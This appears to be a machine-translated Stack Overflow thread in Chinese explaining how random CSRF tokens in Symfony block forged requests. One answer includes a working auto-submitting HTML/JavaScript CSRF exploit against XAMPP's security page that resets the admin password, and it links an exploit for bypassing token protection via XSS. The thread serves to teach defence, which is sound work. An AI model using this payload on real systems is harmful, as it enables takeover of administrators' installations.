为什么CSRF攻击会被随机的CSRF秘密阻止?

时间:2010-01-29 04:05:08

标签: security csrf

  

防止CSRF攻击,随机CSRF   已生成秘密。

以上是来自symfony: http://www.symfony-project.org/getting-started/1_4/en/04-Project-Setup

由于它最终由用户操作,这就是所谓的副攻击。如果通过设置这个秘密可以起作用吗?

4 个答案:

答案 0 :(得分:1)

OWASP(开放式Web应用程序安全项目)对CSRF有很好的解释,我建议您阅读它并在之后发布您的问题。

http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

如果您正在寻找有关如何防止CSRF的示例实现,请查看Django及其文章。 http://docs.djangoproject.com/en/dev/ref/contrib/csrf/

答案 1 :(得分:1)

CSRF或XSRF代表跨站请求伪造。这个想法是,当受害者执行黑客创建的html或javascript时,攻击者正在“伪造”HTTP请求。这是我针对XAMPP编写的CSRF漏洞示例。这个想法是这个html / js正在构建一个POST请求,它“已经”存在于现有的会话中。 CSRF漏洞必须由当前登录的XAMPP管理员的浏览器执行。

<html>
    <form action='http://127.0.0.1/security/xamppsecurity.php' method='POST' id=1>
        <input type="hidden" name="_SERVER[REMOTE_ADDR]" value="127.0.0.1">
        <input type=hidden name="xamppuser" value=admin >
        <input type=hidden name="xampppasswd" value=password>
        <input type=hidden name="xamppaccess" value="Make+safe+the+XAMPP+directory">
        <input type=submit>
    </form>
</html>
<script>
    document.getElementById(1).submit();
</script>

为了做到这一点,黑客必须提前了解很多关于请求的信息,最重要的是目标服务器和所有变量。黑客不需要知道sesion id或“basic-auth”标头,这是由浏览器自动提供的。如果你添加一个随机生成的秘密,那么除非黑客知道该值,否则不能伪造请求。它就像你发送给服务器的每个请求都有一个密码。黑客 CAN 使用XSS获取此令牌值。这是一个更复杂的攻击,但这是一个利用XSS绕过基于令牌的CSRF保护的漏洞:http://www.milw0rm.com/exploits/7922

答案 2 :(得分:0)

尝试从cgisecurity(http://www.cgisecurity.com/csrf-faq.html)读取CSRF常见问题解答。当您在澄清常见问题时有疑问,我们很乐意澄清。

编辑:引用之前链接的CSRF常见问题,讨论随机秘密的部分:

我可以做些什么来保护自己的应用程序?

防止CSRF的最流行的建议是将挑战令牌附加到每个请求。重要的是要声明此挑战令牌必须与用户会话相关联,否则攻击者可能能够自己获取有效令牌并在攻击中利用它。除了绑定到用户会话之外,限制令牌有效的时间是很重要的。此方法记录在多个文档中,但是如邮件列表发布中所指出的,攻击者可以利用现有的浏览器漏洞或XSS漏洞来获取此会话令牌。

答案 3 :(得分:0)

Symfony中的CSRF秘密在这里得到了很好的解释:http://www.nacho-martin.com/csrf-tokens-in-symfony